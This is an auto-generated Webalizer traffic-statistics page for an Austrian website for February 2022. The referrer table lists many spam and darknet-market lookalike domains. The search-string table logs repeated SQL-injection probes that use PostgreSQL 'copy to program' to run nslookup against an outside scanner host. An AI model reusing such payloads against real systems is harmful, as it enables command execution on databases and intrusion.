Usage Statistics for www.waldviertler.at

Summary Period: February 2022
Generated 01-Mar-2022 03:52 CET

Sie können die Länderauflösung im Kundencenter unter dem Menüpunkt Zugriffsstatistik ein- bzw. auschalten.


[Daily Statistics] [Hourly Statistics] [URLs] [Entry] [Exit] [Referrers] [Search] [Agents] [Countries]

Monthly Statistics for February 2022
Total Hits 81080
Total Files 71269
Total Pages 58147
Total Visits 7344
Total KBytes 6042431
Total Unique Sites 3260
Total Unique URLs 420
Total Unique Referrers 3178
Total Unique User Agents 1122
. Avg Max
Hits per Hour 120 17412
Hits per Day 2895 26021
Files per Day 2545 23123
Pages per Day 2076 24929
Sites per Day 116 274
Visits per Day 262 1086
KBytes per Day 215801 591559
Hits by Response Code
Code 200 - OK 87.90% 71269
Code 206 - Partial Content 0.17% 141
Code 301 - Moved Permanently 0.08% 67
Code 302 - Found 3.78% 3064
Code 304 - Not Modified 0.52% 423
Code 400 - Bad Request 0.06% 49
Code 403 - Forbidden 1.33% 1076
Code 404 - Not Found 6.15% 4989
Code 416 - Requested Range Not Satisfiable 0.00% 2

Daily usage for February 2022

Daily Statistics for February 2022
Day Hits Files Pages Visits Sites KBytes
1 2024 2.50% 1869 2.62% 1188 2.04% 246 3.35% 190 5.83% 374837 6.20%
2 2408 2.97% 2083 2.92% 1401 2.41% 275 3.74% 201 6.17% 206885 3.42%
3 1917 2.36% 1695 2.38% 1240 2.13% 229 3.12% 143 4.39% 352796 5.84%
4 2194 2.71% 2010 2.82% 1567 2.69% 244 3.32% 134 4.11% 235722 3.90%
5 1963 2.42% 1849 2.59% 1535 2.64% 225 3.06% 132 4.05% 156393 2.59%
6 1509 1.86% 1367 1.92% 1024 1.76% 180 2.45% 126 3.87% 264154 4.37%
7 2104 2.59% 1927 2.70% 1285 2.21% 239 3.25% 149 4.57% 205062 3.39%
8 1631 2.01% 1513 2.12% 1119 1.92% 234 3.19% 162 4.97% 111415 1.84%
9 1739 2.14% 1565 2.20% 988 1.70% 244 3.32% 177 5.43% 188739 3.12%
10 1471 1.81% 1336 1.87% 810 1.39% 210 2.86% 150 4.60% 147524 2.44%
11 1688 2.08% 1455 2.04% 951 1.64% 215 2.93% 148 4.54% 200487 3.32%
12 1640 2.02% 1462 2.05% 1118 1.92% 233 3.17% 168 5.15% 157145 2.60%
13 1816 2.24% 1561 2.19% 1259 2.17% 246 3.35% 160 4.91% 150605 2.49%
14 2194 2.71% 1850 2.60% 1106 1.90% 235 3.20% 184 5.64% 277415 4.59%
15 2192 2.70% 1918 2.69% 1206 2.07% 261 3.55% 196 6.01% 213740 3.54%
16 2300 2.84% 2106 2.96% 1571 2.70% 377 5.13% 274 8.40% 225514 3.73%
17 2123 2.62% 1870 2.62% 1193 2.05% 304 4.14% 228 6.99% 183446 3.04%
18 1618 2.00% 1408 1.98% 923 1.59% 205 2.79% 132 4.05% 102752 1.70%
19 1898 2.34% 1352 1.90% 869 1.49% 184 2.51% 137 4.20% 115069 1.90%
20 2137 2.64% 1793 2.52% 903 1.55% 193 2.63% 136 4.17% 222702 3.69%
21 1707 2.11% 1541 2.16% 941 1.62% 189 2.57% 139 4.26% 137080 2.27%
22 1939 2.39% 1633 2.29% 1133 1.95% 201 2.74% 153 4.69% 186007 3.08%
23 2489 3.07% 2201 3.09% 1361 2.34% 240 3.27% 153 4.69% 213362 3.53%
24 2280 2.81% 2065 2.90% 1409 2.42% 263 3.58% 172 5.28% 176354 2.92%
25 26021 32.09% 23123 32.44% 24929 42.87% 1086 14.79% 160 4.91% 591559 9.79%
26 2529 3.12% 2101 2.95% 1653 2.84% 222 3.02% 138 4.23% 173525 2.87%
27 2402 2.96% 1970 2.76% 1463 2.52% 223 3.04% 142 4.36% 160897 2.66%
28 3147 3.88% 2646 3.71% 2002 3.44% 250 3.40% 189 5.80% 311245 5.15%

Hourly usage for February 2022

Hourly Statistics for February 2022
Hour Hits Files Pages KBytes
Avg Total Avg Total Avg Total Avg Total
0 59 1655 2.04% 53 1499 2.10% 47 1342 2.31% 4348 121733 2.01%
1 280 7840 9.67% 255 7149 10.03% 265 7439 12.79% 11183 313126 5.18%
2 668 18727 23.10% 587 16442 23.07% 664 18607 32.00% 12830 359228 5.95%
3 48 1362 1.68% 41 1173 1.65% 43 1213 2.09% 7438 208269 3.45%
4 55 1557 1.92% 50 1410 1.98% 49 1398 2.40% 3522 98623 1.63%
5 54 1515 1.87% 48 1361 1.91% 45 1277 2.20% 6351 177817 2.94%
6 59 1660 2.05% 49 1398 1.96% 47 1324 2.28% 5953 166677 2.76%
7 69 1937 2.39% 60 1688 2.37% 46 1305 2.24% 5312 148740 2.46%
8 79 2235 2.76% 68 1908 2.68% 46 1296 2.23% 9361 262122 4.34%
9 104 2913 3.59% 89 2511 3.52% 50 1425 2.45% 9652 270251 4.47%
10 117 3293 4.06% 103 2888 4.05% 58 1640 2.82% 10882 304684 5.04%
11 114 3195 3.94% 102 2862 4.02% 57 1619 2.78% 10992 307769 5.09%
12 88 2488 3.07% 79 2227 3.12% 53 1501 2.58% 9758 273232 4.52%
13 92 2603 3.21% 80 2260 3.17% 53 1507 2.59% 6896 193081 3.20%
14 113 3174 3.91% 100 2823 3.96% 55 1550 2.67% 12653 354277 5.86%
15 111 3119 3.85% 98 2767 3.88% 53 1505 2.59% 11796 330293 5.47%
16 108 3025 3.73% 88 2464 3.46% 53 1505 2.59% 8474 237263 3.93%
17 101 2833 3.49% 87 2436 3.42% 52 1458 2.51% 7926 221919 3.67%
18 101 2843 3.51% 87 2461 3.45% 55 1547 2.66% 10475 293304 4.85%
19 107 2999 3.70% 92 2589 3.63% 55 1563 2.69% 15414 431603 7.14%
20 103 2899 3.58% 93 2609 3.66% 56 1579 2.72% 10557 295590 4.89%
21 97 2735 3.37% 85 2405 3.37% 57 1598 2.75% 8523 238643 3.95%
22 86 2418 2.98% 73 2044 2.87% 57 1621 2.79% 8267 231481 3.83%
23 73 2055 2.53% 67 1895 2.66% 47 1328 2.28% 7239 202706 3.35%

Top 30 of 420 Total URLs
# Hits KBytes URL
1 15560 19.19% 1432764 23.71% /stats/usage_201409.html
2 7360 9.08% 164615 2.72% /alpha/advanced_search.php
3 5483 6.76% 158391 2.62% /
4 3989 4.92% 40072 0.66% /stats/
5 3786 4.67% 302900 5.01% /stats/usage_202202.html
6 2577 3.18% 93613 1.55% /alpha/create_account.php
7 2360 2.91% 35822 0.59% /alpha/
8 1215 1.50% 23192 0.38% /alpha/login.php
9 1023 1.26% 16366 0.27% /alpha/contact_us.php
10 907 1.12% 15046 0.25% /alpha/password_forgotten.php
11 907 1.12% 103507 1.71% /pics/banner_sz2.jpg
12 779 0.96% 120952 2.00% /pics/DSC_0024_szw_wald4.jpg
13 772 0.95% 97091 1.61% /pics/DSC_0062_szw_web_wald4.jpg
14 772 0.95% 76592 1.27% /pics/DSC_0136_szw_wald4.jpg
15 771 0.95% 41938 0.69% /pics/12_klein.jpg
16 771 0.95% 25635 0.42% /pics/pv_leistung_DE.jpg
17 766 0.94% 107838 1.78% /pics/DSC_0038_szw_wald4.jpg
18 751 0.93% 122786 2.03% /pics/DSC_0065_szw_wald4.jpg
19 750 0.93% 87918 1.46% /pics/DSC_0075_szw_wald4.jpg
20 749 0.92% 47615 0.79% /pics/solar1.jpg
21 746 0.92% 75792 1.25% /pics/DSC_0074_szw_wald4.jpg
22 746 0.92% 103266 1.71% /pics/DSC_0132_szw_wald4.jpg
23 745 0.92% 79459 1.32% /pics/DSC_0092_web_wald4.jpg
24 742 0.92% 115172 1.91% /pics/DSC_0129_web_wald4.jpg
25 742 0.92% 89344 1.48% /pics/DSC_0135_web_wald4.jpg
26 741 0.91% 87208 1.44% /pics/DSC_0107_szw_wald4.jpg
27 586 0.72% 9010 0.15% /alpha/advanced_search_result.php
28 579 0.71% 9047 0.15% /alpha/shopping_cart.php
29 546 0.67% 8286 0.14% /alpha/shipping.php
30 544 0.67% 8046 0.13% /alpha/reviews.php

Top 10 of 420 Total URLs By KBytes
# Hits KBytes URL
1 15560 19.19% 1432764 23.71% /stats/usage_201409.html
2 94 0.12% 314262 5.20% /downloads/igw/RZ_4Wind.pdf
3 3786 4.67% 302900 5.01% /stats/usage_202202.html
4 26 0.03% 299641 4.96% /downloads/igw/RZ_3Energie.pdf
5 48 0.06% 274583 4.54% /downloads/igw/RZ_5Windraeder.pdf
6 6 0.01% 198672 3.29% /downloads/igw/Titelblatt.eps
7 18 0.02% 175544 2.91% /downloads/igw/RZ_10Versuche.pdf
8 7360 9.08% 164615 2.72% /alpha/advanced_search.php
9 5483 6.76% 158391 2.62% /
10 751 0.93% 122786 2.03% /pics/DSC_0065_szw_wald4.jpg

Top 10 of 167 Total Entry Pages
# Hits Visits URL
1 5483 6.76% 2572 36.08% /
2 15560 19.19% 1092 15.32% /stats/usage_201409.html
3 3989 4.92% 860 12.06% /stats/
4 7360 9.08% 232 3.25% /alpha/advanced_search.php
5 315 0.39% 215 3.02% /solarzelle/
6 2577 3.18% 173 2.43% /alpha/create_account.php
7 313 0.39% 132 1.85% /content/kontakt.html
8 136 0.17% 131 1.84% /stats/usage_201304.html
9 907 1.12% 93 1.30% /alpha/password_forgotten.php
10 3786 4.67% 92 1.29% /stats/usage_202202.html

Top 10 of 169 Total Exit Pages
# Hits Visits URL
1 5483 6.76% 2413 34.49% /
2 15560 19.19% 1085 15.51% /stats/usage_201409.html
3 3989 4.92% 858 12.26% /stats/
4 315 0.39% 229 3.27% /solarzelle/
5 313 0.39% 175 2.50% /content/kontakt.html
6 7360 9.08% 157 2.24% /alpha/advanced_search.php
7 203 0.25% 79 1.13% /content/pv.html
8 241 0.30% 77 1.10% /alpha/images/
9 1215 1.50% 76 1.09% /alpha/login.php
10 243 0.30% 75 1.07% /alpha/images/infobox/

Top 30 of 3178 Total Referrers
# Hits Referrer
1 8537 10.53% - (Direct Request)
2 6935 8.55% http://www.google.com/search
3 658 0.81% https://getery.xyz
4 564 0.70% https://seksvibor.xyz
5 518 0.64% https://www.google.com/
6 479 0.59% https://hydraruzxpsnew4af.top
7 470 0.58% https://seks-dosug.com
8 446 0.55% https://xn--hydr2wb-dn4cki.com
9 445 0.55% https://xn--hydrarzxpnew4af-hw5h.com
10 427 0.53% https://hydraruszsxpnew4af.xyz
11 414 0.51% https://xn--hdraruzxspnev4af-fh2i.com
12 376 0.46% https://mosbordell.com
13 312 0.38% https://hydraruzapsnew4af.xyz
14 300 0.37% https://hydraruzapsnew4af.top
15 234 0.29% http://vykup365.ru
16 220 0.27% https://www.google.at/
17 214 0.26% https://finside.io/
18 206 0.25% https://coinlet.io/
19 196 0.24% https://coinlet.io
20 190 0.23% https://melissadfelix.com/
21 186 0.23% https://finside.io
22 181 0.22% https://ivermectin.buzz/
23 179 0.22% https://hydraruzxpnew4afs-onioon.com/
24 169 0.21% https://stromectol.us/
25 164 0.20% https://hydraonionzxpnew4af.com
26 161 0.20% https://hydraclubruzxpnew4af.com/
27 159 0.20% https://hydraruzxpsnew4af.xyz
28 154 0.19% https://hydraclubruzxpnew4af.com
29 153 0.19% https://xn--hdraruzpnew4af-vq9g.com
30 141 0.17% https://hydraruzxpnew4afs-onioon.com

Top 20 of 33 Total Search Strings
# Hits Search String
1 6904 99.54% testing
2 1 0.01% pv waldviertel
3 1 0.01% testing';copy (select '') to program 'nslookup dns.sqli.\\013405.20-1006.20.3f628.\\1.bxss.me
4 1 0.01% testing';copy (select '') to program 'nslookup dns.sqli.\\013405.20-1038.20.c50f3.\\1.bxss.me
5 1 0.01% testing';copy (select '') to program 'nslookup dns.sqli.\\013405.20-1041.20.6f7b8.\\1.bxss.me
6 1 0.01% testing';copy (select '') to program 'nslookup dns.sqli.\\013405.20-1086.20.1fced.\\1.bxss.me
7 1 0.01% testing';copy (select '') to program 'nslookup dns.sqli.\\013405.20-1104.20.a287b.\\1.bxss.me
8 1 0.01% testing';copy (select '') to program 'nslookup dns.sqli.\\013405.20-1132.20.85957.\\1.bxss.me
9 1 0.01% testing';copy (select '') to program 'nslookup dns.sqli.\\013405.20-1145.20.8c8fb.\\1.bxss.me
10 1 0.01% testing';copy (select '') to program 'nslookup dns.sqli.\\013405.20-1168.20.ed568.\\1.bxss.me
11 1 0.01% testing';copy (select '') to program 'nslookup dns.sqli.\\013405.20-1170.20.0f484.\\1.bxss.me
12 1 0.01% testing';copy (select '') to program 'nslookup dns.sqli.\\013405.20-1212.20.2d814.\\1.bxss.me
13 1 0.01% testing';copy (select '') to program 'nslookup dns.sqli.\\013405.20-1235.20.51150.\\1.bxss.me
14 1 0.01% testing';copy (select '') to program 'nslookup dns.sqli.\\013405.20-1236.20.c7dbc.\\1.bxss.me
15 1 0.01% testing';copy (select '') to program 'nslookup dns.sqli.\\013405.20-1250.20.18285.\\1.bxss.me
16 1 0.01% testing';copy (select '') to program 'nslookup dns.sqli.\\013405.20-1268.20.4dc29.\\1.bxss.me
17 1 0.01% testing';copy (select '') to program 'nslookup dns.sqli.\\013405.20-1285.20.a71ee.\\1.bxss.me
18 1 0.01% testing';copy (select '') to program 'nslookup dns.sqli.\\013405.20-1303.20.1b4ee.\\1.bxss.me
19 1 0.01% testing';copy (select '') to program 'nslookup dns.sqli.\\013405.20-1321.20.381ae.\\1.bxss.me
20 1 0.01% testing';copy (select '') to program 'nslookup dns.sqli.\\013405.20-1342.20.6ef1e.\\1.bxss.me

Top 15 of 1122 Total User Agents
# Hits User Agent
1 22804 28.13% Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21
2 1809 2.23% Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:97.0) Gecko/20100101 Firefox/97.0
3 1470 1.81% Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36
4 1442 1.78% Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.81
5 1330 1.64% Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.8
6 1322 1.63% Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.72 Safari/537.36 Edg/90.0.8
7 1300 1.60% Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.1 Safari/605.1.15
8 1189 1.47% Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36 Edg/98.0.
9 1031 1.27% Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.99 Safari/537.36
10 939 1.16% Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:96.0) Gecko/20100101 Firefox/96.0
11 879 1.08% Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.82 Safari/537.36
12 786 0.97% Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.80 Safari/537.36 Edg/98.0.1
13 762 0.94% Mozilla/5.0 (compatible; DotBot/1.2; +https://opensiteexplorer.org/dotbot; help@moz.com)
14 754 0.93% Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36
15 750 0.93% Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36

Usage by Country for February 2022

Top 1 of 1 Total Countries
# Hits Files KBytes Country
1 81080 100.00% 71410 100.20% 6042431 100.00% Unresolved/Unknown


Generated by Webalizer Version 2.23